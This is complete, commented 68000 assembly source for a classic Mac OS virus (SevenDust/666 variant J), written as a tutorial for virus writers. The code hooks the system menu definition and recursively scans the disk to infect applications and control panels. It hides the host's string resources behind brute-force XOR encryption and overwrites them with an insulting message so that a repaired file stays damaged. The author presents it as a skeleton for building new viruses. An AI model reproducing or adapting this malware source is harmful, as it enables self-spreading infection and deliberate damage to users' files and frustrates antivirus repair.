;***************************************************************
;BRUTE FORCE DECRYPTION ANALYSIS AND STATIC DIRECTORY INFECTION
;IMPLEMENTED WITH THE VARIANT J OF THE 666 (a.k.a. SEVENDUST) VIRUS
;***************************************************************
;This variant of 666, which you all saw in the big tutorial download
;with all my viruses from CodeBreakers, implements one final advancement
;in the area of making hard for AVers to repair, namely, brute force
;decryption. Brute Force decryption consists of not keeping the
;encryption key anywhere in the infected file, rather, looking for it
;at the time of execution. This technique is used for the first time
;on the mac, and it will give you a basic idea of how to implement it,
;so you can use it in your own viruses.
;I have dropped all the advanced stuff, like metamorphism, oligomorphism
;and encryption, and have kept only the idea of 'hard symbiotism'.
;Hard Symbiotism is concerned more with non-repairability, and less
;with encryption. Statistically speaking, the time AVers spend on trying
;to repair the infected file, would be almost equivallent to trying to
;detect the virus. So, this variant of 666 is much simpler than the
;previous variants, and it can serve as a basic 'skeleton' for future
;viruses. Although the most complex variants like the H/Ha/I/Ia are
;really hard to follow, this one should give you a note of hope, and
;maybe provide you with some interesting ideas on how to construct
;variants on this skeleton easily. So, pick up a cup of coffee, light
;up your smoke and read through...
;***************************************************************
;WARNING!! DO NOT TRY TO COMPILE THIS FILE!! IT HAS BEEN FORMATED
;FOR READING. See below!
;(To obtain the source/executable for this virus, download my entire
;tutorial from www.CodeBreakers.org, under the section J.S.Bach.
;And by the way, I don't have a clue why they named 666 "SevenDust".
;If anybody knows what "SevenDust" means, please send me email at
;"johannsebastian@hotmail.com" with an explanation. What is it? Some
;sort of music or something????)
;***************************************************************
;The basic flowchart of the virus is simple:
;1)Invoked MDEF executes on program startup.
;2)Viral code brute force-decodes the symbiotic part of a 'STR#'
;3)Viral code scans active disk directory, in search of apps to infect.
;4)If an app is found, virus encodes 'STR#' of app (if there is one)
;appends it to the virus body after encrypting it and then infects app.
;Simple. Let's follow it in detail:
;***************************************************************
;WARNING!! THE AUTHOR IS NOT RESPONSIBLE FOR UNAUTHORIZED USE OF
;THIS PROGRAM. IN PARTICULAR, THE AUTHOR IS NOT RESPONSIBLE IF
;YOU TRY TO, OR RELEASE THE VIRUS. THE AUTHOR IS NOT RESPONSIBLE FROM
;CRASHES OR MISBEHAVIOUR CAUSED BY THIS PROGRAM IN ANY OPERATING
;SYSTEM. THIS PROGRAM IS PROVIDED AS A DEMONSTRATION VIRUS AND IS
;NOT INTENDED TO BE INSTALLED ON MACHINES THAT YOU HAVE NO CONTROL
;OVER. YOU HAVE BEEN WARNED: YOU ARE LIABLE TO PENALTIES
;IF YOU RELEASE THIS VIRUS AND SPREAD IT IN EXECUTABLE FORM.
;WARNING!! THIS VIRUS WILL INFECT ANY OS FROM 6.0.7 UP TO 8.0,
;POSSIBLY 8.5 AS WELL. BE VERY CAREFULL WHEN YOU EXECUTE IT. IT
;WILL GRADUALLY INFECT ALL THE APPS IN YOUR HARD DRIVE.
;***************************************************************
;SevenDust-J VIRUS, VERSION 1.0, WRITTEN IN 68000 ASM USING MPW 3.3.1.
;YOU NEED MPW 3.3.1 OR HIGHER TO COMPILE THIS SOURCE.
;WRITTEN AND COMPLETED ON 25/9/98  BY J.S.BACH.
;***************************************************************
                BLANKS    ON
                STRING    ASIS
;include files for asm
                INCLUDE    'SysEqu.a'
                INCLUDE    'SysErr.a'
                INCLUDE    'ToolEqu.a'
                INCLUDE    'Traps.a'

                SEG    '666'    ;segment name
;***************************************************************
;System Variables
;***************************************************************
SystemMDEF        EQU        0
CurResFile        EQU        SystemMDEF  + 4
theMENUR          EQU        CurResFile  + 2
Us                EQU        theMENUr    + 4
FoundOne          EQU        Us          + 4
AppRefNum         EQU        FoundOne    + 2
ResId             EQU        AppRefNum   + 2
HasInfected       EQU        ResId       + 2
virSize           EQU        HasInfected + 2
STRsize           EQU        virSize     + 4
NewHandle         EQU        STRSize     + 4
STRHandle         EQU        NewHandle   + 4
Sample            EQU        STRHandle   + 4
Scrambled         EQU        Sample      + 4
ScramblerId       EQU        Scrambled   + 4
RId               EQU        ScramblerId + 2
RType             EQU        RId         + 2
RName             EQU        RType       + 4
STRRestored       EQU        RName       + 32
temp              EQU        STRRestored + 2
ProcID            EQU        6   ;offset into the 'MENU' resource handle
FileType          EQU        32    ;offset to filetype into CInfoRec


    MAIN
Entry
    MOVEM.L    A0-A4/D0-D7,-(SP)        ;save registers
;***************************************************************
;A4 always holds the address of our first var
;***************************************************************
    LEA        Vars,A4                ;get globals address
    CLR.W      -(SP)                  ;room for refnum returned
    _CurResFile                       ;return current resource file refnum
    MOVE.W    (SP)+,CurResFile(A4)    ;put in storage
;***************************************************************
;then get the address of the system MDEF=0
;***************************************************************
    CLR.W    -(SP)                    ;refnum of system file (0)
    _UseResFile                       ;use system res file
    CLR.L    -(SP)                    ;room for handle to MDEF=0 resource
    MOVE.L    #'MDEF',-(SP)           ;push MDEF restype
    CLR.W    -(SP)                    ;push id=0
    _Get1Resource                     ;get hold of it
    MOVE.L    (SP)+,SystemMDEF(A4)    ;put in Storage
    BNE.S    FindKey                  ;continue and decode it if non-nil
    _Debugger                   ;crash if we can't get a system MDEF!!!
;***************************************************************
;Ok, 'FindKey' is the Brute-force decryptor. It will loop, trying
;to find a key, with the criterion that a 'sample' stored there previously
;must be matched with our code. This is how the key is found: A sample
;of some bytes as they should be unencrypted, has been stored in our
;file from a previous infection. The loop XORs a certain offset within the
;file, until the sample and this offset match. THEN, our key is the value
;of the loop counter. Let's see how:
;***************************************************************
FindKey
    CMPI.W    #0,ScramblerId(A4)        ;do we have a scrambled resource id?
;***************************************************************
;if there is no scrambled id, it means that the previous infection
;did not alter a 'STR#'resource.
;***************************************************************
    BEQ        InfectApp                ;no exit
;***************************************************************
;if the virus runs multiple times, it needs to know if the symbiotic
;part has been decrypted successfully, so it does not waste time
;decrypting again. This is what the next line checks for.
;***************************************************************
    TST.B    STRRestored(A4)          ;is our string descrambled?
    BNE      InfectApp                ;decoded, goto infectApp
;***************************************************************
;And finally, the brute force decryptor. We start with a count of 0
;***************************************************************
    MOVEQ    #0,D1                    ;zero counter
@1  ADDQ     #1,D1                    ;increment counter
    MOVEQ    #0,D2                    ;zero
    MOVEQ    #0,D3                    ;zero
    MOVE.B   D1,D2                    ;copy in D2
    MOVE.B   D2,D3                    ;copy in D3
    ASL.L    #8,D2                    ;put in second byte
    EOR.L    D2,D3                    ;Xor it
    ASL.L    #8,D2                    ;put in second byte
    EOR.L    D2,D3                    ;Xor it
    ASL.L    #8,D2                    ;put in second byte
    EOR.L    D2,D3                    ;Xor it
;***************************************************************
;ok, the shifts do the following: If our counter is $07 for example,
;after all the ASL shifts and XORs have been performed, we have the
;value $07070707 as a long in register D3.
;***************************************************************
    LEA        Entry,A0               ;load start
    ADDA.L    virSize(A4),A0          ;goto start of STR# resource
;***************************************************************
;now we are pointing A0 to the end of the virus. Right AFTER the virus
;body, but BEFORE the appended 'STR# resource, at the end of the virus.
;Next we pick the longword found at this location and store it in the
;variable Scrambled(A4). We then XOR this value with D3, and finally
;bring in the actual 'sample' longwrord which we have stored in this
;file from the previous infection. If the values match, then the value
;of the counter is our decryption key. (CMP.L Scrambled(A4),D4=Sample(A4))
;***************************************************************
    MOVE.L   (A0),Scrambled(A4)      ;store scrambled data
    EOR.L    D3,Scrambled(A4)        ;Xor with sample
    MOVE.L   Sample(A4),D4           ;copy
    CMP.L    Scrambled(A4),D4        ;are they the same?
    BEQ.S    DeScramble              ;found key, decode
    CMP      #255,D1                 ;are we done?
    BLT.S    @1                      ;loop back
;***************************************************************
;descramble STR# resource. This subroutine descrambles the 'STR#'
;resource which was encrypted and appended to the end of the virus body.
;It is a simple do loop, with D0 going from 0 to STRSize-1. The
;actual XOR operation is the instruction EOR.B (Exclusive Or.Byte)
;***************************************************************
DeScramble
    MOVE.B    D1,D2                   ;key in D2
    LEA       Entry,A0                ;get start
    ADDA.L    virSize(A4),A0          ;point to STR# resource
    MOVE.L    STRSize(A4),D1          ;size of STR# in D1
    SUBQ      #1,D1                   ;size-1 in D1
    MOVEQ     #0,D0                   ;zero in D0
    BRA.S     @7                      ;branch into loop
@8  ADDQ      #1,D0                   ;add one to D0
@7  EOR.B     D2,(A0,D0)              ;Xor the byte
    CMP.W     D0,D1                   ;end of virus yet?
    BGT.S     @8                      ;no, loop back
;***************************************************************
;now restore STR# resource. Restoration is not simply a matter of
;descrambling the resource. We must also restore the actual 'STR#'
;resource in the resource file. We get hold of the scrambled 'STR#'
;handle, we adjust its size to its actual size and shove the decrypted
;code into it, thus repairing the resource. Finally, we mark a boolean
;flag (STRRestored(A4)) that our resource has been repaired.
;***************************************************************
Restore
    MOVE.W     CurResFile(A4),-(SP)    ;push us
    _UseResFile                        ;use us
    CLR.L      -(SP)                   ;room for handle
    MOVE.L     #'STR#',-(SP)           ;push res type
    MOVE.W     ScramblerId(A4),-(SP)   ;push id
    _Get1Resource                      ;get it
    MOVE.L     (SP)+,STRHandle(A4)     ;store
    BEQ.S      InfectApp               ;if nil infect
    MOVE.L     STRSize(A4),D0          ;new size
    MOVE.L     STRHandle(A4),A0        ;handle again
    _SetHandleSize                     ;set the original size
    MOVEA.L    STRHandle(A4),A0        ;put in A0
    _HLock
    MOVEA.L    (A0),A1                 ;destination ptr
    LEA        EndLabel,A0             ;source pointer
    MOVE.L     STRSize(A4),D0          ;size
    _BlockMove                         ;restore contents
    MOVEA.L    STRHandle(A4),A0        ;get handle
    _HUnlock                           ;unlock it, done
    ST         STRRestored(A4)         ;ok, we restored it
;***************************************************************
;check directory and infect app. This subroutine dispatches to
;scan the drive, in order to find other apps to infect. We look at
;the flag (HasInfected(A4)) which flags infection only once, and
;delve into ScanDrive, expecting to get a response boolean as
;FoundOne(A4).
;***************************************************************
InfectApp
    TST.B    HasInfected(A4)          ;test if loaded in memory
    BNE      CallOldMDEF              ;yes, exit
    CLR.B    FoundOne(A4)             ;clear flag
    LEA      HParamBlock,A0           ;parameter block
    CLR.L    ioNamePtr(A0)            ;nil ionameptr
    _GetVol                           ;get default volume
    BNE      CallOldMDEF              ;exit on error
    MOVE.W   ioVRefNum(A0),-(SP)      ;push vrefnum
    MOVE.L   #fsRtDirID,-(SP)         ;push start directory
    BSR      ScanDrive                ;scan drive
    TST.B    FoundOne(A4)             ;did we find one?
    BEQ      CallOldMDEF              ;no, exit
;***************************************************************
;Here, we infect the application we found from the scan. First we
;get a hold of ourselves as Us(A4), so we can duplicate the viral bod.
;***************************************************************
    CLR.L    NewHandle(A4)            ;clear new handle
    MOVE.W   CurResFile(A4),-(SP)     ;activate ourselves as resource file
    _UseResFile                       ;use us
    CLR.L    -(SP)                    ;room for handle to us
    MOVE.L   #'MDEF',-(SP)            ;push type
    MOVE.W   #666,-(SP)               ;push id
    _Get1Resource                     ;get it
    MOVE.L   (SP)+,Us(A4)             ;store
;***************************************************************
;theSpec contains the spec of the application to be infected,
;from ScanDrive. Here we open the file again for infection.
;***************************************************************
    CLR.W    -(SP)                    ;clear stack for file refnum
    PEA      theSpec                  ;push theSpec
    MOVE.B   #fsWrPerm,-(SP)          ;push write permission
    _FSpOpenResFile                   ;open it
    MOVE.W   (SP)+,D2                 ;pop resnum in D2
    MOVE.W   ResErr,D0                ;check for error first
    BNE      CallOldMDEF              ;exit on error
    MOVE.W   D2,AppRefNum(A4)         ;application openned if no error
;***************************************************************
;the next 3 instructions calculate the size of the viral body.
;***************************************************************
    LEA      EndLabel,A0              ;load start
    LEA      Entry,A1                 ;load end
    SUBA.L   A1,A0                    ;find size of virus
    MOVE.L   A0,virSize(A4)           ;store there
;***************************************************************
;now get hold of a STR# resource and figure its size
;***************************************************************
    CLR.L    -(SP)                    ;room for STR# resource
    MOVE.L   #'STR#',-(SP)            ;push resource type
    MOVE.W   #1,-(SP)                 ;push index=1
    _Get1IxResource                   ;get first avail STR# resource
    MOVE.L   (SP)+,STRHandle(A4)      ;get handle
;***************************************************************
;if the handle we got is nil, it means that the application does not
;have any 'STR#' resources, so we jump directly to appending infection.
;if it is non-nil, however, we goto finding info about the resource.
;***************************************************************
    BNE.S    GetInfo                   ;if non-zero, get Info
    CLR.L    STRSize(A4)               ;clear size
    CLR.W    ScramblerId(A4)           ;clear so we know afterwards
    BRA.S    New                       ;goto newHandle
GetInfo
    MOVE.L   STRHandle(A4),-(SP)      ;push handle again
    PEA      RId(A4)                  ;push address to store id
    PEA      RType(A4)                ;push address to store type
    PEA      RName(A4)                ;push address for name
    _GetResInfo                       ;get information
    MOVE.W   ResErr,D0                ;get error, but ignore
    BNE      CallOldMDEF              ;error, exit
    CLR.L    -(SP)                    ;room for size handle
    MOVE.L   STRHandle(A4),-(SP)      ;push handle
    _SizeRsrc                         ;get size of 'STR#' resource
    MOVE.L   (SP)+,STRSize(A4)        ;put size in var
;***************************************************************
;The following allocates a new handle for the virus, regardless
;of whether we have a symbiot 'STR#' resource that will be appended.
;***************************************************************
New
    MOVE.L   virSize(A4),D0            ;put size in D0
    ADD.L    STRSize(A4),D0            ;add size of STR# (=0 if no STR#)
    _NewHandle                         ;allocate
    MOVE.L   A0,NewHandle(A4)          ;copy handle
    BEQ      CallOldMDEF               ;if nil exit, we failed to duplicate
;***************************************************************
;now we copy the virus into the new handle we got.
;***************************************************************
    MOVE.L    NewHandle(A4),A0         ;get handle
    _HLock                             ;lock handle
    MOVE.L    Us(A4),A0                ;get us
    _HLock                             ;lock
    MOVE.L    Us(A4),A0                ;get again
    MOVEA.L    (A0),A0                 ;dereference for source
    MOVE.L    NewHandle(A4),A1         ;get copy
    MOVE.L    (A1),A1                  ;dereference for destination
    MOVE.L    virSize(A4),D0           ;number of bytes to copy
    _BlockMove                         ;copy
    MOVE.L    Us(A4),A0                ;get handle
    _HUnlock                           ;unlock
;***************************************************************
;The new handle copy equals in size both the virus body, plus the
;size of a (possible) 'STR# resource. So we copy the 'STR#' into
;the end of the new handle. Not that if STRSize=0, we ignore the
;transfer of bytes.
;***************************************************************
    CMPI.L    #0,STRSize(A4)            ;check size
    BEQ       AddRes                    ;if no STR# resource (size=0) exit
    MOVE.L    STRHandle(A4),A0          ;get handle
    _HLock                              ;lock it
    MOVE.L    STRHandle(A4),A0          ;get again
    MOVEA.L   (A0),A0                   ;get source
    MOVE.L    NewHandle(A4),A1          ;get new handle
    MOVEA.L   (A1),A1                   ;deref
    ADDA.L    virSize(A4),A1            ;get destination
    MOVE.L    STRSize(A4),D0            ;bytes to copy
    _BlockMove                          ;copy STR#
    MOVE.L    STRHandle(A4),A0          ;get handle
    _HUnlock                            ;unlock it
;***************************************************************
;store STR# id in new handle. We do this as follows: We calculate
;the offset of the variable 'ScrambleId' from the start of the vir,
;and then shove the value of the actual resource id into the new handle
;at an offset exactly equal to the offset we found. (Start=A0, Offset=D0)
;***************************************************************
    LEA       ScramblerId(A4),A0        ;location of scramblerId
    LEA       Entry,A1                  ;start of vir
    SUBA.L    A1,A0                     ;find offset
    MOVE.L    A0,D0                     ;copy in D0
    MOVE.L    NewHandle(A4),A0          ;get handle
    MOVEA.L   (A0),A0                   ;deref
    MOVE.W    RId(A4),(A0,D0)           ;stuff id there
;***************************************************************
;now we encrypt the STR# inside the MDEF, so as to make it hard
;for AVers to correct the symbiot.!! This is again a simple do loop,
;with D0 varying from 0 to STRSize-1. We cycle in there and XOR every
;byte of the 'STR#' resource. Notice how we pick a 'sample' to have
;handy for our next infection. The sample is simply a longword at
;offset 'VirSize'. (Actually this longword would be the first long
;inside the 'STR#' resource. Namely, the number of strings (=2 bytes)
;and the first two bytes from the first string in the resource).
;***************************************************************
Encrypt
    MOVE.L    NewHandle(A4),A0          ;load virus
    MOVEA.L   (A0),A0                   ;get data
    ADDA.L    virSize(A4),A0            ;goto start of STR# resource
    MOVE.L    (A0),Sample(A4)           ;get a sample
    MOVE.L    Time,D0                   ;get a random long
    ANDI.L    #$000000FF,D0             ;only last byte couts
    CMPI.B    #0,D0                     ;is key zero?
    BEQ.S     Encrypt                   ;try again if zero
    MOVE.B    D0,D2                     ;key in D2
    MOVE.L    NewHandle(A4),A0          ;new handle
    MOVE.L    (A0),A0                   ;get data
    ADDA.L    virSize(A4),A0            ;point to STR# resource
    MOVE.L    STRSize(A4),D1            ;size of STR# in D1
    SUBQ      #1,D1                     ;size-1 in D1
    MOVEQ     #0,D0                     ;zero in D0
    BRA.S     @7                        ;branch into loop
@8  ADDQ      #1,D0                     ;add one to D0
@7  EOR.B     D2,(A0,D0)                ;Xor the byte
    CMP.W     D0,D1                     ;end of virus yet?
    BGT.S     @8                        ;no, loop back
;***************************************************************
;put sample so we can decode later! Here we stuff the sample in
;the new handle copy, at the proper location offset, so we can
;use it on the next decryption.
;***************************************************************
    LEA       Sample(A4),A0            ;location of sample
    LEA       Entry,A1                 ;start of vir
    SUBA.L    A1,A0                    ;find offset
    MOVE.L    A0,D0                    ;copy in D0
    MOVE.L    NewHandle(A4),A0         ;get handle
    MOVEA.L   (A0),A0                  ;deref
    MOVE.L    Sample(A4),(A0,D0)       ;stuff sample there
;***************************************************************
;cancel hasinfected so we can infect when virus runs in next generation.
;HasInfected has been set to true, (see below) since we have ran at least
;once through the code. But the new copy doesn't know this, so we must
;restore the value to its original state.
;***************************************************************
    LEA       HasInfected(A4),A0       ;location of HasInfected
    LEA       Entry,A1                 ;start of vir
    SUBA.L    A1,A0                    ;find offset
    MOVE.L    A0,D0                    ;copy in D0
    MOVE.L    NewHandle(A4),A0         ;get handle
    MOVEA.L   (A0),A0                  ;deref
    CLR.B     (A0,D0)                  ;has infected clear
;***************************************************************
;cancel STRRestored so we can restore our string. Same for
;STRRestored. The new copy of the virus, must assume that it has not
;descrambled the 'STR#' resource. Similar technique. Just figuring
;the offset of the corresponding var, then stuffing in the new copy.
;***************************************************************
    LEA       STRRestored(A4),A0       ;location of STRRestored
    LEA       Entry,A1                 ;start of vir
    SUBA.L    A1,A0                    ;find offset
    MOVE.L    A0,D0                    ;copy in D0
    MOVE.L    NewHandle(A4),A0         ;get handle
    MOVEA.L   (A0),A0                  ;deref
    CLR.B     (A0,D0)                  ;has infected clear
;***************************************************************
;destroy old STR# resource!! Finally, mangle the original 'STR#'
;resource. For the mangling, we use the sample string:
;"You are a big stupid jerk!". So if a user removes the virus,
;all alerts, ballon help, or messages pertaining to this resource
;will show this message instead. For the resizing, we do the following
;calculation: We count the number of strings in the 'STR#' resource,
;(usually found at the word at offset 0 in the beginning of the resource)
;and multiply by the length of the string "You are a big stupid jerk".
;So first we resize, and then we shove the new strings into the resource.
;The offset to correctly BlockMove, is A1+$2+D3=index*26, where index is the
;number of the string in the resource. (2(A1,D3)). 2 is for the word
;that tells how many strings are there in the 'STR#' resource.
;***************************************************************
    MOVEQ    #0,D1                   ;zero D1
    MOVE.L   STRHandle(A4),A0        ;get master pointer
    _HLock                           ;lock handle
    MOVE.L   STRHandle(A4),A0        ;get handle again
    MOVEA.L  (A0),A0                 ;get data
    MOVE.W   (A0),D1                 ;string count in D1
    MOVE.W   D1,D2                   ;copy in D2 string count
    SUBQ     #1,D2                   ;count-1 in D2
    MULU     #26,D1                  ;multiply by string length
    ADDQ     #2,D1                   ;length byte of STR# resource
    MOVE.L   STRHandle(A4),A0        ;get handle
    _HUnlock                         ;unlock it
    MOVE.L   STRHandle(A4),A0        ;get handle again
    MOVE.L   D1,D0                   ;new size in D0
    _SetHandleSize                   ;resize it
    MOVE.W   MemErr,D0               ;get error
    BNE      CallOldMDEF             ;exit if we fail to resize
    MOVE.L   STRHandle(A4),A0        ;get it again
    _HLock                           ;lock it
    MOVEQ    #-1,D1                  ;zero D0
    MOVEQ    #0,D3                   ;zero D3
@1  ADDQ     #1,D1                   ;add one
    MOVE.W   D1,D3                   ;copy
    MULU     #26,D3                  ;multiply by 26
    LEA      MDEFName,A0             ;get address of good string=source
    MOVE.L   STRHandle(A4),A1        ;get dest handle
    MOVEA.L  (A1),A1                 ;get destination handle
    LEA      2(A1,D3),A1             ;get correct destination address
    MOVE.L   #26,D0                  ;size=26 bytes
    _BlockMove
    CMP.W    D1,D2                   ;are we done?
    BGT.S    @1                      ;if not, move back
    MOVE.L   STRHandle(A4),A0        ;get handle
    _HUnlock
    MOVE.L   STRHandle(A4),-(SP)     ;push MENU resource
    _ChangedResource                 ;change it to bogus data
;***************************************************************
;And finally, add the new MDEF resource in the new file to be infected!!
;***************************************************************
AddRes
    MOVE.L    NewHandle(A4),A0       ;get handle
    _HUnlock                         ;unlock
    MOVE.L    NewHandle(A4),-(SP)    ;push newhandle
    MOVE.L    #'MDEF',-(SP)          ;pushres type
    MOVE.W    #666,-(SP)             ;push id
    PEA       MDEFName               ;push name
    _AddResource                     ;add it
    MOVE.W    ResErr,D0              ;get error
    BNE.S     CloseAgain             ;close resfile
;***************************************************************
;we must also alter the MDEF id of the apple menu so it calls our
;MDEF. We change the MDEF id from 0 to 666.
;***************************************************************
    CLR.L    -(SP)                    ;room for menu handle
    MOVE.L   #'MENU',-(SP)            ;push type
    MOVE.W   ResId(A4),-(SP)          ;push id
    _Get1Resource                     ;get it
    MOVE.L   (SP)+,theMENUr(A4)       ;store
    MOVEA.L  theMENUr(A4),A0          ;put in A0
    _HLock                            ;lock it
    MOVE.L   (A0),A0                  ;get data
    MOVE.W   #666,ProcId(A0)          ;stuff proc id
    MOVE.L   theMENUr(A4),A0          ;put in A0 again
    _HUnlock
    MOVE.L   theMENUr(A4),-(SP)       ;push handle
    _ChangedResource                  ;mark permanent
CloseAgain
    BSR.S    Dispose                  ;dispose new handle
    MOVE.W   AppRefNum(A4),-(SP)      ;push foreign app
    _CloseResFile                     ;close res file
    ST       HasInfected(A4)          ;set mem flag
    BRA      CallOldMDEF              ;exit normally
;***************************************************************
;test if we need to dispose. We need to check if our handle was
;added successfully with AddResource. If yes, we leave the handle alone.
;If yes, we dispose manually.
;***************************************************************
Dispose
    TST.L    NewHandle(A4)            ;is our handle nil?
    BEQ.S    DontDispose              ;if yes, don't dispose anything
    MOVEQ    #0,D0                    ;clear D0
    MOVE.L   NewHandle(A4),A0         ;handle in A0
    _HGetState                        ;get the state of the handle
    BTST     #5,D0                    ;test the resource bit
    BNE.S    DontDispose              ;if set, exit
    MOVE.L   NewHandle(A4),A0         ;put in A0
    _DisposeHandle                    ;dispose handle if addresource failed
DontDispose
    RTS
;***************************************************************
;classic directory scan. Subroutine is recursive. Similar to the
;'EraseDrive' subroutine in previous versions of SevenDust. The
;subroutine simply enumerates all the objects on the startup disk
;and if the object is a directory, (BTST #4,D0) then we go into this
;directory and continue there. Note that since we are recursive,
;we need LINK/UNLK instructions, to reference our parameters on
;the stack correctly.
;***************************************************************
ScanDrive
    LINK    A6,#0                    ;no locals
    MOVE.L  D1,-(SP)                 ;save D1
    MOVEQ   #0,D1                    ;start counter
AddOne
    ADDQ    #1,D1                    ;add 1 to counter
    LEA     CInfoPB,A0               ;load address of our record
    CLR.L   ioCompletion(A0)         ;nil
    LEA     theName,A1               ;name address
    MOVE.L  A1,ioNamePtr(A0)         ;name address
    MOVE.W  12(A6),ioVRefNum(A0)     ;vrefnum we want
    MOVE.L  8(A6),ioDirId(A0)        ;dirid
    MOVE.W  D1,ioFDirIndex(A0)       ;index into directory
    _GetCatInfo                      ;get directory info
    CMP.W   #fnfErr,D0               ;see if end of directory
    BEQ.S   ExitScan                 ;exit scanning if done
    MOVE.B  ioFLAttrib(A0),D0        ;get file attributes
    BTST    #4,D0                    ;is it a directory?
    BNE.S   Stack                    ;yes, go down recursivelly
    BSR.S   CheckFile                ;else, check file
    BRA.S   Test                     ;go check found
Stack
    MOVE.W  12(A6),-(SP)             ;push vrefnum
    MOVE.L  ioDrDirId(A0),-(SP)      ;push directory
    JSR     ScanDrive                ;call recursivelly
Test
    TST.B   FoundOne(A4)             ;have we found one?
    BNE.S   ExitScan                 ;yes, exit scanning
    BRA.S   AddOne                   ;continue with rest of directories
ExitScan
    MOVE.L  (SP)+,D1                 ;restore D1
    UNLK    A6                       ;unlink
    MOVEA.L (SP)+,A0                 ;pop return address
    ADDQ    #6,SP                    ;pop arguments
    JMP     (A0)                     ;return recursivelly
;***************************************************************
;Check file simply checks the kind of file. If it is the kinds
;listed below, it can be infected safely.
;***************************************************************
CheckFile
    MOVEM.L  D0-D7,-(SP)             ;save registers
    CMP.L    #'APPL',FileType(A0)    ;check file type
    BEQ.S    MakeSpec                ;applications can be infected
    CMP.L    #'cdev',FileType(A0)    ;check file type
    BEQ.S    MakeSpec                ;control panels can be infected
    CMP.L    #'APPC',FileType(A0)    ;check file type
    BNE      ExitCheck               ;if nothing above, exit
;***************************************************************
;MakeSPec creates an FSSpec file specification for our file, to be
;later handly when we add our viral resources.
;***************************************************************
MakeSpec
    CLR.W    -(SP)                    ;room for error from FSMakeFSSpec
    MOVE.W   ioVRefNum(A0),-(SP)      ;push VRefNum
    MOVE.L   ioFLParId(A0),-(SP)      ;push DirId
    PEA      theName                  ;push name
    PEA      theSpec                  ;push address of theSpec
    _FSMakeFSSpec                     ;make file Spec
    MOVE.W   (SP)+,D0                 ;copy error but ignore
    BNE      ExitCheck                ;exit on error
;***************************************************************
;now open application
;***************************************************************
    CLR.W    AppRefNum(A4)            ;clear refnum
    CLR.W    -(SP)                    ;clear stack for file refnum
    PEA      theSpec                  ;push theSpec
    MOVE.B   #fsWrPerm,-(SP)          ;push write permission
    _FSpOpenResFile                   ;open it
    MOVE.W   (SP)+,D2                 ;pop resnum in D1
    MOVE.W   ResErr,D0                ;check for error
    BNE      ExitCheck                ;error, exit
;***************************************************************
;see if application is infected first. If it contains a MDEF=666,
;it is infected.
;***************************************************************
    MOVE.W    D2,AppRefNum(A4)        ;store app refnum
    CLR.L     -(SP)                   ;room for MDEF
    MOVE.L    #'MDEF',-(SP)           ;push restype
    MOVE.W    #666,-(SP)              ;push id
    _Get1Resource                     ;get it
    TST.L     (SP)+                   ;test handle
    BNE.S     CloseApp                ;infected, exit
;***************************************************************
;now see if application has any MENUs, and pick the Apple Menu
;by force, by looping through all the menus, until we find the
;Apple menu (CMP.W #$0114,D7) (Length=$01, Apple Symbol=$14)
;***************************************************************
    CLR.W    -(SP)                    ;room for count
    MOVE.L   #'MENU',-(SP)            ;type
    _Count1Resources                  ;count them
    MOVE.W   (SP)+,D3                 ;get count
    BEQ.S    CloseApp                 ;exit if 0 MENUs
    MOVEQ    #0,D4                    ;init counter
@1    ADDQ   #1,D4                    ;add one
    CLR.L    -(SP)                    ;room for MENU handle
    MOVE.L   #'MENU',-(SP)            ;push res type
    MOVE.W   D4,-(SP)                 ;push index
    _Get1IxResource                   ;get index resource
    MOVE.L   (SP)+,theMENUr(A4)       ;get menu
    MOVEA.L  theMENUr(A4),A0          ;into A0
    _HLock
    MOVE.L   theMENUr(A4),A0          ;get it again
    MOVEA.L  (A0),A0                  ;get data
    MOVE.W   ProcId(A0),D5            ;get proc id
    MOVE.W   (A0),D6                  ;remember res id
    MOVE.W   $E(A0),D7                ;remember string of menu title
    MOVE.L   theMENUr(A4),A0          ;put in A0 again
    _HUnlock
    CMP.W    #0,D5                    ;is procid=0??
    BNE.S    @2                       ;ignore if <>0
    CMP.W    #$0114,D7                ;check if it is the Apple Menu
    BNE.S    @2                       ;ignore if not apple menu
    ST       FoundOne(A4)             ;set flag
    MOVE.W   D6,ResId(A4)             ;remember id of menu
    BRA.S    CloseApp                 ;found it, go close
@2  CMP.W    D4,D3                    ;are we done?
    BGT.S    @1                       ;no, go back
CloseApp
    TST.W    AppRefNum(A4)            ;test refnum
    BEQ.S    ExitCheck                ;if zero, exit
    MOVE.W   AppRefNum(A4),D2         ;put in d2
    CMP.W    CurResFile(A4),D2        ;test against ours
    BEQ.S    ExitCheck                ;exit of ours
    MOVE.W   AppRefNum(A4),-(SP)      ;push refnum
    _CloseResFile                     ;close it
ExitCheck
    MOVEM.L  (SP)+,D0-D7              ;restore registers
    RTS
;***************************************************************
;the following is the branch to the system MDEF code after we are
;done. We directly jump to the MDEF address we got at the beginning
;of the virus. This address, is stored at offset 0 from A4.
;IMPORTANT!! Look at how we restore always the current resource file!
;***************************************************************
CallOldMDEF
    MOVE.W    CurResFile(A4),-(SP)    ;push id of current resfile
    _UseResFile                       ;use old resfile
    MOVEM.L   (SP)+,A0-A4/D0-D7       ;restore registers
    MOVEA.L   Vars,A0                 ;fetch label of vars
    MOVEA.L   (A0),A0                 ;dereference and get address of
SysMDEF
    JMP        (A0)                   ;jump to old MDEF code
Vars
    DCB.B    temp+2,0
theSpec
    DCB.B    70,0
CInfoPB
    DCB.B    108,0
HParamBlock
    DCB.B    122,0
theName
    DCB.B    64,0
MDEFName
    DC.B     25,'You are a big stupid jerk'
EndLabel
    ENDMAIN
    END
